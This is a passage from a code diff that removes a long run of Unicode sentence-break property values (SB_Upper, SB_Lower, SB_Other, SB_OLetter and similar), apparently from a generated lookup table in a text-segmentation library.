-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Sp,
-	SB_Format,
-	SB_Extend,
-	SB_Format,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_ATerm,
-	SB_Other,
-	SB_Sep,
-	SB_Format,
-	SB_Sp,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Close,
-	SB_STerm,
-	SB_Other,
-	SB_Sp,
-	SB_Format,
-	SB_Other,
-	SB_Format,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Close,
-	SB_Lower,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Extend,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Sp,
-	SB_SContinue,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Lower,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Close,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_SContinue,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_SContinue,
-	SB_ATerm,
-	SB_Other,
-	SB_SContinue,
-	SB_STerm,
-	SB_SContinue,
-	SB_Close,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Format,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_SContinue,
-	SB_ATerm,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Upper,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Lower,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_STerm,
-	SB_Close,
-	SB_SContinue,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Format,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Format,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_STerm,
-	SB_Format,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Format,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
